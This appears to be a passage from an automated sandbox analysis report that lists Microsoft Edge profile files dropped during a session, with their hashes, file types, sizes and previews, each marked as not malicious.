SHA-256:	03752654C616FBE87DCA727C6F06293F3436E9FE743332B657C2604975E92E5F
SHA-512:	693C3908BEE61E254A6F73B9CBFB080159037FBA06D0C73CFC604CBEE6B49E1EE826D707E7B6C83D3C8E8EA52321FEACAC2653C3E3890C2838B3D818CADBD810
Malicious:	false
Preview:	2025/02/01-15:59:21.780 ed4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2025/02/01-15:59:21.781 ed4 Recovering log #3.2025/02/01-15:59:21.792 ed4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46316692626798234
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBuWp0M:TouQq3qh7z3bY2LNW9WMcUvBuWCM
MD5:	5FD81DCC6A2F5140EB33DA253415EC23
SHA1:	832D4E619C22265510FE1BAC4383307811F61A21
SHA-256:	96F3DBF10E6F3B0323838EF360F57CF7E7F52BDFC1A475423E44E6E1FBB53226
SHA-512:	BEF6B2F4FDC97DF343F67DD6013998937C56945A37661C7C1913C48D3582C99E5509E80489FAC169C952E84F4C69CBE6537F97532D2AA24927C2CC0E6CE85935
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.194373257880417
Encrypted:	false
SSDEEP:	6:iOXpbS3+q2PN723oH+TcwtnG2tMsIFUtFpbSA+Zmw7pbSA6VkwON723oH+TcwtnB:7FfvVaYebn9GFUtbC/Ru5OaYebn95J
MD5:	4D124FCBC42552F11F80A2117C380422
SHA1:	BA18EF3B91B9C491A54DEB1DDA656E60E84BE83A
SHA-256:	492A0A9540B5D15FAFCC3288E25D16E416FA9731C477CBF03983621E0804CE64
SHA-512:	71A94B6C83DE37A2738173B5EBAC2D8C54FAEF9AB8B5639C2E868E3A2E26659734F2F231F065096755D4E99742B3D42BA0BD65A93E88EEB1DABC6F6F64752AC9
Malicious:	false
Preview:	2025/02/01-15:59:17.379 1e78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/01-15:59:17.380 1e78 Recovering log #3.2025/02/01-15:59:17.380 1e78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.194373257880417
Encrypted:	false
SSDEEP:	6:iOXpbS3+q2PN723oH+TcwtnG2tMsIFUtFpbSA+Zmw7pbSA6VkwON723oH+TcwtnB:7FfvVaYebn9GFUtbC/Ru5OaYebn95J
MD5:	4D124FCBC42552F11F80A2117C380422
SHA1:	BA18EF3B91B9C491A54DEB1DDA656E60E84BE83A
SHA-256:	492A0A9540B5D15FAFCC3288E25D16E416FA9731C477CBF03983621E0804CE64
SHA-512:	71A94B6C83DE37A2738173B5EBAC2D8C54FAEF9AB8B5639C2E868E3A2E26659734F2F231F065096755D4E99742B3D42BA0BD65A93E88EEB1DABC6F6F64752AC9
Malicious:	false
Preview:	2025/02/01-15:59:17.379 1e78 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2025/02/01-15:59:17.380 1e78 Recovering log #3.2025/02/01-15:59:17.380 1e78 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6137004046021013
Encrypted:	false
SSDEEP:	24:TLapR+DDNzWjJ0npnyXKUO8+jUa3HjDpArmL:TO8D4jJ/6Up+Qa3HjSI
MD5:	6829AF38131798228F308F6857BEF37A
SHA1:	BE6569BBB2E46F8705A3F27784E0B66A7DDFEE74
SHA-256:	7C14BB47355F196137E3199242E31088C828A62D869D9AE115D25EEB78F99AAF
SHA-512:	A3DF42DB8B9C966E63A5D4FFFCDCF37F0D1A02D5EBEA4A2D43385B6DB8CADADEEF1A0837FE33AD35A9150118732EBCB69E0D3B020EBAFA5D9BB5CC6800AEBC45
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354081068354256
Encrypted:	false
SSDEEP:	6144:eA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:eFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	C400E8B8C3479E34394616611E3255F1
SHA1:	B368CD59E7529C3B9DBD976C229C9A9FCD469AF5
SHA-256:	3B3F8E2EAFEAA7F90C7C1CC4C75F069F48A67BF94E1F22D8BC24CCE624F30A0B
SHA-512:	7D1FB70649B607C545AE770CB4CB963C1C9803863D4137C0327C25DE4F5E8104B8BDE6E4506FEB1F35FFAB019B9E61D3723A18FDB60BABD114221D1BA21AEA73
Malicious:	false
Preview:	...m.................DB_VERSION.1..;Pq...............&QUERY_TIMESTAMP:domains_config_gz2...13382917163110741..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	315
Entropy (8bit):	5.104449470254592
Encrypted:	false
SSDEEP:	6:iOXp3q1N723oH+Tcwtk2WwnvB2KLl1p7fMM+q2PN723oH+Tcwtk2WwnvIFUv:7NaaYebkxwnvFLtN+vVaYebkxwnQFUv
MD5:	A33C94A0FB130F8A343D001F30A3A29E
SHA1:	2F81276A5D4F1B8B604635EFD85EA9E49F90AFEB
SHA-256:	A41D498294FBB3200672596392575C0AAB94C01122E601BAAB9661FB500BF02C
SHA-512:	DB16BC3E5A8A1D4FCBD75C8F9F45E358AE73BBEE4AB9B3FC26B9BCB7FD7D2E2E2FF5ACD9030AAAAF660D6749B87119E7E5101891FCF02C9B77444AB079E850EE
Malicious:	false
Preview:	2025/02/01-15:59:21.890 201c Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2025/02/01-15:59:21.994 201c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.324611830368079
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RN:C1gAg1zfvl
MD5:	48E411B92C52DA8F42B1AD373C9067AC
SHA1:	089C6CA2299E270930794B918FA3824F4A103A71
SHA-256:	353A2450F924767440BCD1E8E8110A51CB8F593A40E8498D87B868939BDB8871
SHA-512:	5CB5AC6CFBC98D1163F58D690491B081ACC6A78FD92C078DDA2C8EF87DBAEF625307A9D75C5CEB0F352B146A92492B5B8A751EC3D792E14246D9A00CB4C5F730
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.14909566736533
Encrypted:	false
SSDEEP:	6:iOXpb7lL+q2PN723oH+Tcwt8aPrqIFUtFpbwS1Zmw7pbQlLVkwON723oH+Tcwt8h:7F7IvVaYebL3FUtbV1/R85OaYebQJ
MD5:	2B6D3437EED05B816A6A72864882F3B4
SHA1:	9D7E30E3AE3B2272B83708B3D1DB1CF3DA83F1F3
SHA-256:	03715DAA11D778238F53DD38B4CEFD3E10331CCF78C06155D50699789C7A5013
SHA-512:	AF5001216486244D1FB1D71719329791CCC79EBF511D4946069021BC715353235203D5BDB3CC964B7CEED5F25A070812A2B573396F721CDB0892C4A372701837
Malicious:	false
Preview:	2025/02/01-15:59:17.192 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/01-15:59:17.374 1e58 Recovering log #3.2025/02/01-15:59:17.375 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.14909566736533
Encrypted:	false
SSDEEP:	6:iOXpb7lL+q2PN723oH+Tcwt8aPrqIFUtFpbwS1Zmw7pbQlLVkwON723oH+Tcwt8h:7F7IvVaYebL3FUtbV1/R85OaYebQJ
MD5:	2B6D3437EED05B816A6A72864882F3B4
SHA1:	9D7E30E3AE3B2272B83708B3D1DB1CF3DA83F1F3
SHA-256:	03715DAA11D778238F53DD38B4CEFD3E10331CCF78C06155D50699789C7A5013
SHA-512:	AF5001216486244D1FB1D71719329791CCC79EBF511D4946069021BC715353235203D5BDB3CC964B7CEED5F25A070812A2B573396F721CDB0892C4A372701837
Malicious:	false
Preview:	2025/02/01-15:59:17.192 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2025/02/01-15:59:17.374 1e58 Recovering log #3.2025/02/01-15:59:17.375 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.161750515995154
Encrypted:	false
SSDEEP:	6:iOXpb8L+q2PN723oH+Tcwt865IFUtFpbF1Zmw7pbTLVkwON723oH+Tcwt86+ULJ:7FxvVaYeb/WFUtbF1/R15OaYeb/+SJ
MD5:	01E314A1BC93ABE4C98CC2E25CEC8562
SHA1:	B8A6582875283A63AB1EBE5A56602A4631A1F3C0
SHA-256:	2945CE67D8587A7CFFBCF686052673F03B3CA999779023D867DF7231A6953228
SHA-512:	0F60553A7134354590B61CCA95E2C93662E95E73A5C36A7D7B095D00FE9E04B908E0882CD9D17AD1FC8C11BBC44F56F27AD009445D6E98F358D67EF66B672C4A
Malicious:	false
Preview:	2025/02/01-15:59:17.418 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/01-15:59:17.419 1e58 Recovering log #3.2025/02/01-15:59:17.419 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.161750515995154
Encrypted:	false
SSDEEP:	6:iOXpb8L+q2PN723oH+Tcwt865IFUtFpbF1Zmw7pbTLVkwON723oH+Tcwt86+ULJ:7FxvVaYeb/WFUtbF1/R15OaYeb/+SJ
MD5:	01E314A1BC93ABE4C98CC2E25CEC8562
SHA1:	B8A6582875283A63AB1EBE5A56602A4631A1F3C0
SHA-256:	2945CE67D8587A7CFFBCF686052673F03B3CA999779023D867DF7231A6953228
SHA-512:	0F60553A7134354590B61CCA95E2C93662E95E73A5C36A7D7B095D00FE9E04B908E0882CD9D17AD1FC8C11BBC44F56F27AD009445D6E98F358D67EF66B672C4A
Malicious:	false
Preview:	2025/02/01-15:59:17.418 1e58 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2025/02/01-15:59:17.419 1e58 Recovering log #3.2025/02/01-15:59:17.419 1e58 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.142733165047389
Encrypted:	false
SSDEEP:	6:iOXpbJHi+q2PN723oH+Tcwt8NIFUtFpbJHXWZmw7pbJHiVkwON723oH+Tcwt8+ed:7Fc+vVaYebpFUtbBW/RcV5OaYebqJ
MD5:	25C9AF2372AC38C34345F360CF46E643
SHA1:	E968625C7C4EBE7F652B1269F6A47C3902E1F764
SHA-256:	B614A6817825A0E580A579A7B4D7C53FEED18A8DE691F783C10D88EE2B8BA1B0
SHA-512:	7BA1FAAD11DD92915F4E6FB2A8B77A6A9B8751EE03540AC61B6FC36F17630D7E85B3EA9CF02B01D39DF9F21E7CAD22B3A5C84BB31074FAE9FD8DCB1DD785503F
Malicious:	false
Preview:	2025/02/01-15:59:18.278 113c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/01-15:59:18.278 113c Recovering log #3.2025/02/01-15:59:18.278 113c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.142733165047389
Encrypted:	false
SSDEEP:	6:iOXpbJHi+q2PN723oH+Tcwt8NIFUtFpbJHXWZmw7pbJHiVkwON723oH+Tcwt8+ed:7Fc+vVaYebpFUtbBW/RcV5OaYebqJ
MD5:	25C9AF2372AC38C34345F360CF46E643
SHA1:	E968625C7C4EBE7F652B1269F6A47C3902E1F764
SHA-256:	B614A6817825A0E580A579A7B4D7C53FEED18A8DE691F783C10D88EE2B8BA1B0
SHA-512:	7BA1FAAD11DD92915F4E6FB2A8B77A6A9B8751EE03540AC61B6FC36F17630D7E85B3EA9CF02B01D39DF9F21E7CAD22B3A5C84BB31074FAE9FD8DCB1DD785503F
Malicious:	false
Preview:	2025/02/01-15:59:18.278 113c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2025/02/01-15:59:18.278 113c Recovering log #3.2025/02/01-15:59:18.278 113c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:UlRlntFlljq7A/mhWJFuQ3yy7IOWUcREl/dweytllrE9SFcTp4AGbNCV9RUIxh:8w75fO+il/d0Xi99pEYTh
MD5:	0770F106A5FC96075E37D5B1502B59F5
SHA1:	E973EE1E9DB6D01B5C995B69AA88A5B26D291EED
SHA-256:	2F1DF7C6828D29E06A975F1C3321E3F13502D23276442491F8C8FE56C6F03121
SHA-512:	DB1368BD02869038EE393B92B2FF23B2016B5F9B187413A6B4B02C15A124B192508270E468B347EFE1F89EEE7400EAD53CEBDE42092E8526C929A97765E6C06B
Malicious:	false
Preview:	............D/.....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
